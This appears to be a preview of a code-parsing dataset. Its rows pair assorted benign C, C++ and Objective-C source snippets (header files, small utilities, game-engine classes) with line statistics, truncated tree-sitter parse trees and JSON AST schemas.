language
stringclasses
1 value
code
stringlengths
6
12.3k
avg_line_length
float64
2.79
91
line_count
float64
1
367
lang_specific_parse
stringlengths
60
1.08M
ast_node_count
int64
2
6.81k
num_errors
int64
0
499
universal_schema
stringlengths
799
825k
__index_level_0__
int64
0
81.2k
c
#ifndef __DEFINES__ #define __DEFINES__ #include "pubdef.h" #ifdef __cplusplus extern "C" { #endif typedef void (*deepFunc)(u8 *inY,u8*inU,u8* inV, int iWidth, int iHeight); void deepLearning(u8 *inY,u8*inU,u8* inV, int iWidth, int iHeight); void faceProcModelDeep(u8 *inY,u8*inU,u8* inV, int iWidth, int iHeight, voi...
31.17
18
(translation_unit) "#ifndef __DEFINES__\n#define __DEFINES__\n\n#include "pubdef.h"\n\n#ifdef __cplusplus\nextern "C" {\n#endif\n\ntypedef void (*deepFunc)(u8 *inY,u8*inU,u8* inV, int iWidth, int iHeight);\nvoid deepLearning(u8 *inY,u8*inU,u8* inV, int iWidth, int iHeight);\nvoid faceProcModelDeep(u8 *inY,u8*inU,u8* in...
224
0
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 31.17, "nodes": 171, "errors": 0, "source_hash": "5d847fc2e5cbb6dfc1ce9e2156405ca0a76e05561fedc0dc6fc3722bc2f7932a", "categorized_nodes": 100}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnde...
77,200
c
/*Copyright <NAME> 2011 All Rights Reserved. http://chelintutorials.blogspot.com */ #include <stdio.h> /*Ejemplo de la lista de invitados. Crea un archivo en el directorio */ /*Funcion que imprime un menu*/ void imprimir_menu(){ printf("\n-----------------------------\n"); printf("Bienvenido al Invitation...
32.9
63
(translation_unit) "/*Copyright <NAME> 2011 All Rights Reserved.\n http://chelintutorials.blogspot.com */\n#include <stdio.h>\n\n/*Ejemplo de la lista de invitados.\nCrea un archivo en el directorio\n*/\n\n/*Funcion que imprime un menu*/\nvoid imprimir_menu(){\n printf("\n-----------------------------\n");\n p...
524
0
{"language": "c", "success": true, "metadata": {"lines": 63, "avg_line_length": 32.9, "nodes": 268, "errors": 0, "source_hash": "617c0eab3e8bd5634274c3d6cd0882d4268d3a57ce16dd3a702ad3183a0944d3", "categorized_nodes": 177}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#incl...
77,201
c
// UnrealScenarioTest - (c)2021 <NAME>' (CNR-STIIMA) #pragma once #include "CoreMinimal.h" #include "MovableActor.h" #include "UnrealScenario.h" #include "EditableConnectionActor.generated.h" UCLASS(Abstract) /** * Base class for editable connection elements. */ class UNREALSCENARIO_API AEditableConnectionActor...
43.04
259
(translation_unit) "// UnrealScenarioTest - (c)2021 <NAME>' (CNR-STIIMA)\n\n#pragma once\n\n#include "CoreMinimal.h"\n\n#include "MovableActor.h"\n#include "UnrealScenario.h"\n\n\n#include "EditableConnectionActor.generated.h"\n\nUCLASS(Abstract)\n/**\n * Base class for editable connection elements.\n */\nclass UNREALS...
1,574
72
{"language": "c", "success": true, "metadata": {"lines": 259, "avg_line_length": 43.04, "nodes": 982, "errors": 0, "source_hash": "06db147ef44321c80f494f4dbab2eb90b56221d89b441b8cbda064e90b555297", "categorized_nodes": 661}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragm...
77,202
c
#include <phorward.h> int main(int argc, char** argv) { pccl* a; pccl* b; pccl* c; if( argc < 2 ) return 1; a = pccl_create( PCCL_MIN, PCCL_MAX, argv[1] ); pccl_print( stderr, a, -1 ); b = pccl_create( -1, -1, "a-z" ); c = pccl_union( a, b ); pccl_print( stderr, c, -1 ); pccl_delrange( c, 'j', 'q')...
20
19
(translation_unit) "#include <phorward.h>\n\nint main(int argc, char** argv)\n{\n pccl* a;\n pccl* b;\n pccl* c;\n\n if( argc < 2 )\n return 1;\n\n a = pccl_create( PCCL_MIN, PCCL_MAX, argv[1] );\n pccl_print( stderr, a, -1 );\n\n b = pccl_create( -1, -1, "a-z" );\n c = pccl_union( a, b );\n\n pccl_print( stderr, c...
184
0
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 20.0, "nodes": 111, "errors": 0, "source_hash": "850897a3318feeeaca5ba98dc5834573d7e3a687cab1fd306e4a563e0325a73d", "categorized_nodes": 77}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inclu...
77,203
c
#pragma once #include <fstream> #include <vector> #define BYTES_PER_COLORMAP_ENTRY 3 #define MAX_DICTIONARY_ENTRY_BITS 12 #define MAX_DICTIONARY_ENTRIES 4096 namespace GifLib { typedef uint32_t Color; // Store color as ARGB typedef std::vector<unsigned char> IndexBuffer; struct GifHeader { //Header 6 Byt...
28.95
171
(translation_unit) "#pragma once\n#include <fstream>\n#include <vector>\n\n#define BYTES_PER_COLORMAP_ENTRY 3\n#define MAX_DICTIONARY_ENTRY_BITS 12\n#define MAX_DICTIONARY_ENTRIES 4096\n\n\nnamespace GifLib {\n\n\n typedef uint32_t Color; // Store color as ARGB\n typedef std::vector<unsigned char> IndexBuffer;\n\n str...
995
26
{"language": "c", "success": true, "metadata": {"lines": 171, "avg_line_length": 28.95, "nodes": 599, "errors": 0, "source_hash": "1759ab722f6f2604165af5048f7394a1788d143e1a97eab90c932735063a99b6", "categorized_nodes": 418}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragm...
77,204
c
inherit "room/room"; object demon; reset(arg) { /* Applying mobs */ if(!demon) { demon = clone_object("/wizards/gynter/element/mobs/hu_a_guard1"); move_object(demon, this_object()); } if(arg) return; /* Assigning exits */ add_exit("northwest","/wizards/gynter/element/air/10"); add_exit("west","/w...
30.9
20
(translation_unit) "inherit "room/room";\nobject demon;\n\nreset(arg) {\n /* Applying mobs */\n if(!demon) {\n demon = clone_object("/wizards/gynter/element/mobs/hu_a_guard1");\n move_object(demon, this_object());\n }\n if(arg) return;\n /* Assigning exits */\n add_exit("northwest","/wizards/gynter/element/...
163
0
{"language": "c", "success": true, "metadata": {"lines": 20, "avg_line_length": 30.9, "nodes": 69, "errors": 0, "source_hash": "fe00b582957cabc31b490eab8ec9d22ee9fab13d5686d0a010956eed3df99b3d", "categorized_nodes": 53}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "concatenated_string", "text": "inh...
77,205
c
// This file is licensed under the Elastic License 2.0. Copyright 2022-present, StarRocks Limited. #pragma once #include <opentelemetry/exporters/jaeger/jaeger_exporter.h> #include <opentelemetry/sdk/trace/simple_processor.h> #include <opentelemetry/sdk/trace/tracer_provider.h> #include <opentelemetry/trace/provider....
40.09
57
(translation_unit) "// This file is licensed under the Elastic License 2.0. Copyright 2022-present, StarRocks Limited.\n\n#pragma once\n\n#include <opentelemetry/exporters/jaeger/jaeger_exporter.h>\n#include <opentelemetry/sdk/trace/simple_processor.h>\n#include <opentelemetry/sdk/trace/tracer_provider.h>\n#include <op...
271
17
{"language": "c", "success": true, "metadata": {"lines": 57, "avg_line_length": 40.09, "nodes": 145, "errors": 0, "source_hash": "6551d9bac4ed9492cea9d015d9374dce1bfb8067a516004d8762800bad5b9432", "categorized_nodes": 108}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma...
77,206
c
/* Generated by RuntimeBrowser Image: /System/Library/PrivateFrameworks/Memories.framework/Memories */ @interface FMSong : NSObject { NSObject<FlexSongProtocol> * _flexSong; } @property (readonly) NSObject<FlexSongProtocol> *flexSong; + (id)availableTagIDs; + (bool)hasValidTagIDs:(id)arg1; + (id)loadSongBund...
36.72
43
(translation_unit) "/* Generated by RuntimeBrowser\n Image: /System/Library/PrivateFrameworks/Memories.framework/Memories\n */\n\n@interface FMSong : NSObject {\n NSObject<FlexSongProtocol> * _flexSong;\n}\n\n@property (readonly) NSObject<FlexSongProtocol> *flexSong;\n\n+ (id)availableTagIDs;\n+ (bool)hasValidTagI...
657
26
{"language": "c", "success": true, "metadata": {"lines": 43, "avg_line_length": 36.72, "nodes": 403, "errors": 0, "source_hash": "c2248e12b6a9c12dd1e6c45a80a58af50cfdeb34801d7251bc2fc83ad193a928", "categorized_nodes": 245}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "@", "parent": ...
77,207
c
#ifdef __cplusplus extern "C" { #endif #include "f2c.h" int clacpy_(char *uplo, integer *m, integer *n, complex *a, integer *lda, complex *b, integer *ldb); #ifdef __cplusplus } #endif
22.62
8
(translation_unit) "#ifdef __cplusplus\nextern "C" { \n#endif \n\n#include "f2c.h" \n\nint clacpy_(char *uplo, integer *m, integer *n, complex *a, integer *lda, complex *b, integer *ldb);\n\n#ifdef __cplusplus\n}\n#endif" (preproc_ifdef) "#ifdef __cplusplus\nextern "C" { \n#endif \n\n#include "f2c.h" \n\nint clacpy...
70
0
{"language": "c", "success": true, "metadata": {"lines": 8, "avg_line_length": 22.62, "nodes": 54, "errors": 0, "source_hash": "61fbe651face1b5300f8f314d571da43a62dde3f82f7172f035dac41b0584756", "categorized_nodes": 34}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifdef __...
77,208
c
/* * Copyright (c) 1993, 1994, 1995, 1996, 1998 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that: (1) source code distributions * retain the above copyright notice and this paragr...
25.73
235
(translation_unit) "/*\n * Copyright (c) 1993, 1994, 1995, 1996, 1998\n * The Regents of the University of California. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that: (1) source code distributions\n * retain the above copyri...
1,706
0
{"language": "c", "success": true, "metadata": {"lines": 235, "avg_line_length": 25.73, "nodes": 1030, "errors": 0, "source_hash": "e162c9d303829262377225d770396d8591e70a80f8979a91a9f5a2671e366fe6", "categorized_nodes": 772}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifn...
77,209
c
/****************************************************************************** Copyright 2018 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2....
42.32
221
(translation_unit) "/******************************************************************************\n Copyright 2018 <NAME>\n\n Licensed under the Apache License, Version 2.0 (the "License");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n https://www.apa...
409
19
{"language": "c", "success": true, "metadata": {"lines": 221, "avg_line_length": 42.32, "nodes": 267, "errors": 0, "source_hash": "925c10ef6bc18e74d9b4c3b03d8f22e3dda7a14383968f445461643b78e3967b", "categorized_nodes": 173}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragm...
77,210
c
#ifndef RS_MODULATOREXPERIMENTS_H #define RS_MODULATOREXPERIMENTS_H void breakpointModulator(); void breakpointModulatorSmoothFadeOut(); void triSawModulator(); #endif
23.14
7
(translation_unit) "#ifndef RS_MODULATOREXPERIMENTS_H\n#define RS_MODULATOREXPERIMENTS_H\n\n\nvoid breakpointModulator();\nvoid breakpointModulatorSmoothFadeOut();\nvoid triSawModulator();\n\n#endif" (preproc_ifdef) "#ifndef RS_MODULATOREXPERIMENTS_H\n#define RS_MODULATOREXPERIMENTS_H\n\n\nvoid breakpointModulator();...
32
0
{"language": "c", "success": true, "metadata": {"lines": 7, "avg_line_length": 23.14, "nodes": 22, "errors": 0, "source_hash": "b28603b69a006c40f2850787e5e907d0a5a5dc182c15a997524738e369846ec2", "categorized_nodes": 14}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef R...
77,211
c
#ifndef _RANDOM_ #define _RANDOM_ int getRandomNumber(); int getRandomBetweenRange(int max, int min); int * generateRandomArray(int size); #endif // !_RANDOM_
25.5
6
(translation_unit) "#ifndef _RANDOM_\n#define _RANDOM_\n\nint getRandomNumber();\n\nint getRandomBetweenRange(int max, int min);\n\nint * generateRandomArray(int size);\n\n#endif // !_RANDOM_\n" (preproc_ifdef) "#ifndef _RANDOM_\n#define _RANDOM_\n\nint getRandomNumber();\n\nint getRandomBetweenRange(int max, int min...
45
0
{"language": "c", "success": true, "metadata": {"lines": 6, "avg_line_length": 25.5, "nodes": 33, "errors": 0, "source_hash": "ca7618720913603586ddf3ec06292526d8436a7500ce8d4a5a4df6856ef4b880", "categorized_nodes": 20}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _R...
77,212
c
// // FQExcelViewConfig.h // FQExcelViewDemo // // Created by mac on 2018/6/7. // Copyright © 2018年 mac. All rights reserved. // #ifndef FQExcelViewConfig_h #define FQExcelViewConfig_h #import "FQExcelView.h" #import "UILabel+FitWidthAndHeight.h" #endif /* FQExcelViewConfig_h */
20.92
13
(translation_unit) "//\n// FQExcelViewConfig.h\n// FQExcelViewDemo\n//\n// Created by mac on 2018/6/7.\n// Copyright © 2018年 mac. All rights reserved.\n//\n\n#ifndef FQExcelViewConfig_h\n#define FQExcelViewConfig_h\n\n#import "FQExcelView.h"\n#import "UILabel+FitWidthAndHeight.h"\n\n\n#endif /* FQExcelViewConfig_h ...
22
0
{"language": "c", "success": true, "metadata": {"lines": 13, "avg_line_length": 20.92, "nodes": 13, "errors": 0, "source_hash": "7e0961178fb15ef24eeb4d8efe337e8588826923fb0b6e88ca0843f776f309ac", "categorized_nodes": 7}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "ndef FQEx...
77,213
c
#ifndef _H_BUILDIO_ #define _H_BUILDIO_ /** \ingroup rpmbuild * \file build/buildio.h * Routines to read and write packages. * @deprecated this information will move elsewhere eventually. * @todo Eliminate, merge into rpmlib. */ #include "rpmbuild.h" /** */ typedef /*@abstract@*/ struct cpioSourceArchive_s { ...
29.34
71
(translation_unit) "#ifndef _H_BUILDIO_\n#define _H_BUILDIO_\n\n/** \ingroup rpmbuild\n * \file build/buildio.h\n * Routines to read and write packages.\n * @deprecated this information will move elsewhere eventually.\n * @todo Eliminate, merge into rpmlib.\n */\n\n#include "rpmbuild.h"\n\n/**\n */\ntypedef /*@abstract...
191
0
{"language": "c", "success": true, "metadata": {"lines": 71, "avg_line_length": 29.34, "nodes": 126, "errors": 0, "source_hash": "9a770b67884878f2410953c78c2540f7f0b0e86c0ebca35c15d1bd4c16946f30", "categorized_nodes": 79}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef...
77,214
c
#ifndef __TREELOADER3D_PHYSICS_H__ #define __TREELOADER3D_PHYSICS_H__ #include "PagedGeometry.h" #include "PropertyMaps.h" #include "Defines.h" namespace Core { namespace Physics { class IPhysicsStrategy; } } namespace Forests { class TreeIterator3D_Physics; class TreeIterator2D_Physics; class CORE_EXPORT...
30.66
152
(translation_unit) "#ifndef __TREELOADER3D_PHYSICS_H__\n#define __TREELOADER3D_PHYSICS_H__\n\n#include "PagedGeometry.h"\n#include "PropertyMaps.h"\n\n#include "Defines.h"\n\nnamespace Core\n{\n namespace Physics\n {\n class IPhysicsStrategy;\n }\n}\n\nnamespace Forests \n{\n class TreeIterator3D_Physics;\n class Tree...
1,109
49
{"language": "c", "success": true, "metadata": {"lines": 152, "avg_line_length": 30.66, "nodes": 669, "errors": 0, "source_hash": "e945dbcadf09bc4d0b226521e32f4199544f042a9165928c9985d7f652da48ba", "categorized_nodes": 469}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,215
c
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_BROWSING_DATA_CORE_FEATURES_H_ #define COMPONENTS_BROWSING_DATA_CORE_FEATURES_H_ #include "base/feature_list.h" namespace browsing_da...
43.23
13
(translation_unit) "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_BROWSING_DATA_CORE_FEATURES_H_\n#define COMPONENTS_BROWSING_DATA_CORE_FEATURES_H_\n\n#include "base/feature_lis...
45
1
{"language": "c", "success": true, "metadata": {"lines": 13, "avg_line_length": 43.23, "nodes": 23, "errors": 0, "source_hash": "61cb7f9e7e9a2f83b002ab8ffa10ebd0fcca2d25825660eeae7005181a415794", "categorized_nodes": 19}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,216
c
/* Created on: May 16, 2016 * Author: <NAME> (<EMAIL>) */ # ifndef RESOURCES_H_ # define RESOURCES_H_ # include "../graphics_origin.h" # include <string> # include <unordered_map> BEGIN_GO_NAMESPACE namespace tools { /** * Paths can be given in two different ways: * - relatively to a root directory ...
34.24
76
(translation_unit) "/* Created on: May 16, 2016\n * Author: <NAME> (<EMAIL>) */\n\n# ifndef RESOURCES_H_\n# define RESOURCES_H_\n# include "../graphics_origin.h"\n# include <string>\n# include <unordered_map>\n\nBEGIN_GO_NAMESPACE namespace tools {\n\n /**\n * Paths can be given in two different ways:\n * - ...
209
14
{"language": "c", "success": true, "metadata": {"lines": 76, "avg_line_length": 34.24, "nodes": 111, "errors": 0, "source_hash": "002a2d8d4b13c6188385f507e521274ff800253295a0be1684291296bee1716c", "categorized_nodes": 80}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "# ifnde...
77,217
c
/* Test.h - Test library for Wiring - description Copyright (c) 2006 <NAME>. All right reserved. */ // ensure this library description is only included once #ifndef TWDisplay_h #define TWDisplay_h // include types & constants of Wiring core API #include "Arduino.h" // library interface description class TWDispl...
25.44
39
(translation_unit) "/*\n Test.h - Test library for Wiring - description\n Copyright (c) 2006 <NAME>. All right reserved.\n*/\n\n// ensure this library description is only included once\n#ifndef TWDisplay_h\n#define TWDisplay_h\n\n// include types & constants of Wiring core API\n#include "Arduino.h"\n\n// library int...
191
1
{"language": "c", "success": true, "metadata": {"lines": 39, "avg_line_length": 25.44, "nodes": 124, "errors": 0, "source_hash": "4297cf245dcaab3bbd27c6634745cd5b43c21462cb485d3d445e245134c0155c", "categorized_nodes": 90}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef...
77,218
c
#pragma once #if defined(__cplusplus) extern "C" { #endif /// /// enum RfsGzipStatusCode { ERFS_GZIP_OK = 0, ERFS_GZIP_SRC_NOT_FOUND = -1, ERFS_GZIP_DEST_NOT_FOUND = -2, ERFS_GZIP_COMPRESS_FAIL = -3, ERFS_GZIP_COMPRESS_RATIO = -4, }; /// /// @return 0:success, -...
22.82
22
(translation_unit) "#pragma once\n\n#if defined(__cplusplus)\nextern "C" {\n#endif\n\n\n///\n///\nenum RfsGzipStatusCode {\n ERFS_GZIP_OK = 0,\n ERFS_GZIP_SRC_NOT_FOUND = -1,\n ERFS_GZIP_DEST_NOT_FOUND = -2,\n ERFS_GZIP_COMPRESS_FAIL = -3,\n ERFS_GZIP_COMPRESS_RATIO = -4...
93
0
{"language": "c", "success": true, "metadata": {"lines": 22, "avg_line_length": 22.82, "nodes": 61, "errors": 0, "source_hash": "41c5cb00d1dc5a1d1b7acb68212fda2b6f6326394388f0e8b89a573ecc20926a", "categorized_nodes": 38}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma o...
77,219
c
#include <stdio.h> #include <stdlib.h> int main() { int track1[30], track2[30], track3[30]; int limit, disk_head, count = 0, j, seek_time = 0, range, diff; int t1, t2 = 0, t3 = 0; printf("Maximum Range of Disk:\t"); scanf("%d", &range); printf("Initial Head Position:\t"); scanf("%d", &disk_...
21.46
89
(translation_unit) "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n int track1[30], track2[30], track3[30];\n int limit, disk_head, count = 0, j, seek_time = 0, range, diff;\n int t1, t2 = 0, t3 = 0;\n printf("Maximum Range of Disk:\t");\n scanf("%d", &range);\n printf("Initial Head Positio...
699
0
{"language": "c", "success": true, "metadata": {"lines": 89, "avg_line_length": 21.46, "nodes": 396, "errors": 0, "source_hash": "91eb794b6f1d72da2d52257a14f09b0e8b79f1b6b3fb34c3c78db168eadfb085", "categorized_nodes": 300}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,220
c
#pragma once #include <vector> #include <memory> #include "Hazel/Core/Application/ApplicationLayer.h" namespace Hazel { class ApplicationLayerStack { private: std::vector<std::unique_ptr<ApplicationLayer>> layers; size_t top = 0; public: void ApplicationLayerStack::PushLayer(std::unique_ptr<ApplicationLay...
22.35
62
(translation_unit) "#pragma once\n\n#include <vector>\n#include <memory>\n\n#include "Hazel/Core/Application/ApplicationLayer.h"\n\nnamespace Hazel\n{\n class ApplicationLayerStack\n {\n private:\n std::vector<std::unique_ptr<ApplicationLayer>> layers;\n size_t top = 0;\n\n public:\n void ApplicationLayerStack::Push...
569
30
{"language": "c", "success": true, "metadata": {"lines": 62, "avg_line_length": 22.35, "nodes": 326, "errors": 0, "source_hash": "f263f75cec72a91375731aff4806a9ed36c7374ca7a6ec28afe9dab5f2428376", "categorized_nodes": 219}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma...
77,221
c
#include <stdint.h> #if defined(__BYTE_ORDER__) && defined(__ORDER_LITTLE_ENDIAN__) && \ __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ # define _le64toh(x) ((uint64_t)(x)) #elif defined(_WIN32) # define _le64toh(x) ((uint64_t)(x)) #elif defined(__APPLE__) # include <libkern/OSByteOrder.h> # define _le64toh...
25.96
81
(translation_unit) "#include <stdint.h> \n \n#if defined(__BYTE_ORDER__) && defined(__ORDER_LITTLE_ENDIAN__) && \ \n __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ \n# define _le64toh(x) ((uint64_t)(x)) \n#elif defined(_WIN32) \n# define _le64toh(x) ((uint64_t)(x)) \n#elif defined(__APPLE__) \n# include <libkern/OSByteOr...
701
0
{"language": "c", "success": true, "metadata": {"lines": 81, "avg_line_length": 25.96, "nodes": 483, "errors": 0, "source_hash": "ca03d704411726af86aa19e7d10ff3c2b22f19fb545649913013442835eeba13", "categorized_nodes": 303}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,222
c
/* Copyright 2021, <NAME>" This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will...
39.51
84
(translation_unit) "/*\nCopyright 2021, <NAME>"\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distribut...
700
17
{"language": "c", "success": true, "metadata": {"lines": 84, "avg_line_length": 39.51, "nodes": 447, "errors": 0, "source_hash": "2f57d4750fe0927fc35aa4dfe39e4e3bfc09897f7cdacb9855b04c09682430cf", "categorized_nodes": 309}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnde...
77,223
c
#ifndef VARIABLEINSTANCENAMEANDIDMAP_H #define VARIABLEINSTANCENAMEANDIDMAP_H #include <map> #include <string> #include <vector> namespace SpriterEngine { class UniversalObjectInterface; class Variable; typedef std::vector<UniversalObjectInterface*> VariableInstanceVector; typedef std::map<std::string, Universa...
29.92
26
(translation_unit) "#ifndef VARIABLEINSTANCENAMEANDIDMAP_H\n#define VARIABLEINSTANCENAMEANDIDMAP_H\n\n#include <map>\n#include <string>\n#include <vector>\n\nnamespace SpriterEngine\n{\n\n class UniversalObjectInterface;\n class Variable;\n\n typedef std::vector<UniversalObjectInterface*> VariableInstanceVector;\n type...
152
4
{"language": "c", "success": true, "metadata": {"lines": 26, "avg_line_length": 29.92, "nodes": 99, "errors": 0, "source_hash": "79847891be770dafbab2a7dbcbc81da164af57704676651d68cd7cffb33d965d", "categorized_nodes": 68}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,224
c
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #pragma once #include "CoreMinimal.h" #include "UObject/ObjectMacros.h" #include "Particles/ParticleModule.h" #include "ParticleModuleTypeDataBase.generated.h" class UParticleEmitter; class UParticleSystemComponent; struct FParticleEmitterInstance; UCLAS...
39.17
40
(translation_unit) "// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.\n\n\n#pragma once\n\n#include "CoreMinimal.h"\n#include "UObject/ObjectMacros.h"\n#include "Particles/ParticleModule.h"\n#include "ParticleModuleTypeDataBase.generated.h"\n\nclass UParticleEmitter;\nclass UParticleSystemComponent;\nstruct ...
248
17
{"language": "c", "success": true, "metadata": {"lines": 40, "avg_line_length": 39.17, "nodes": 133, "errors": 0, "source_hash": "0807a98b5f831d8ad39ae9f1d15c5a6e66589ed7bdef572a7500febf3a49c1d7", "categorized_nodes": 94}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma ...
77,225
c
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ...
28.26
183
(translation_unit) "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0...
255
0
{"language": "c", "success": true, "metadata": {"lines": 183, "avg_line_length": 28.26, "nodes": 178, "errors": 0, "source_hash": "7e0833c72364f3daefa5588989325b5e126cca0b707664501bb036b858442e48", "categorized_nodes": 92}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnde...
77,226
c
// generated from rosidl_generator_c/resource/msg__struct.h.em // generated code does not contain a copyright notice #ifndef PENDULUM_MSGS__MSG__JOINT_STATE__STRUCT_H_ #define PENDULUM_MSGS__MSG__JOINT_STATE__STRUCT_H_ #ifdef __cplusplus extern "C" { #endif #include <stdbool.h> #include <stddef.h> #include <stdint.h...
27.45
31
(translation_unit) "// generated from rosidl_generator_c/resource/msg__struct.h.em\n// generated code does not contain a copyright notice\n\n#ifndef PENDULUM_MSGS__MSG__JOINT_STATE__STRUCT_H_\n#define PENDULUM_MSGS__MSG__JOINT_STATE__STRUCT_H_\n\n#ifdef __cplusplus\nextern "C"\n{\n#endif\n\n#include <stdbool.h>\n#inclu...
89
0
{"language": "c", "success": true, "metadata": {"lines": 31, "avg_line_length": 27.45, "nodes": 61, "errors": 0, "source_hash": "c7bb78e1da561fbebe7c2274f0a0b6a0b265a50c482501f7ccc1b52f40857853", "categorized_nodes": 48}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,227
c
/************************************************************************** * * Copyright (c) 2002 - 2011 by Computer Architecture Department, * Universitat Politecnica de Catalunya. * All rights reserved. * * The contents of this file may not be disclosed to third parties, * copied or duplicated in any form, in...
37.38
221
(translation_unit) "/**************************************************************************\n *\n * Copyright (c) 2002 - 2011 by Computer Architecture Department,\n * Universitat Politecnica de Catalunya.\n * All rights reserved.\n *\n * The contents of this file may not be disclosed to third parties,\n * copied or...
777
27
{"language": "c", "success": true, "metadata": {"lines": 221, "avg_line_length": 37.38, "nodes": 444, "errors": 0, "source_hash": "1199b44e78e523821424990b0f216827bab66d94d3bafadeb82411de87b76071", "categorized_nodes": 360}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,228
c
#include "duk_internal.h" DUK_INTERNAL duk_double_t duk_bi_date_get_now_sgx(duk_context *ctx) { // TODO: Implement. return 0; } DUK_INTERNAL_DECL duk_int_t duk_bi_date_get_local_tzoffset_sgx(duk_double_t d) { // TODO: Implement. return 0; }
26.22
9
(translation_unit) "#include "duk_internal.h"\nDUK_INTERNAL duk_double_t duk_bi_date_get_now_sgx(duk_context *ctx) {\n // TODO: Implement.\n return 0;\n}\nDUK_INTERNAL_DECL duk_int_t duk_bi_date_get_local_tzoffset_sgx(duk_double_t d) {\n // TODO: Implement.\n return 0;\n}\n" (preproc_include) "#include "duk_internal....
49
2
{"language": "c", "success": true, "metadata": {"lines": 9, "avg_line_length": 26.22, "nodes": 29, "errors": 0, "source_hash": "af063c984cd7a656421111c3400e5302d0f7442fc1d70ba7ee38775d5e784ac5", "categorized_nodes": 23}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#includ...
77,229
c
/* SPDX-License-Identifier: Apache-2.0 */ /* * Copyright (C) 2009-2020 Intel Corporation */ /*++ @file: SyncNetworkData.h --*/ #ifndef SYNC_NETDATA_H #define SYNC_NETDATA_H #include <stdio.h> #include <stdlib.h> #include <string> #include "FuncEntryExit.h" class SyncNetworkData { public: SyncNetworkData(); b...
23.02
44
(translation_unit) "/* SPDX-License-Identifier: Apache-2.0 */\n/*\n * Copyright (C) 2009-2020 Intel Corporation\n */\n/*++\n\n@file: SyncNetworkData.h\n\n--*/\n\n#ifndef SYNC_NETDATA_H\n#define SYNC_NETDATA_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string>\n#include "FuncEntryExit.h"\n\nclass SyncNetworkD...
256
13
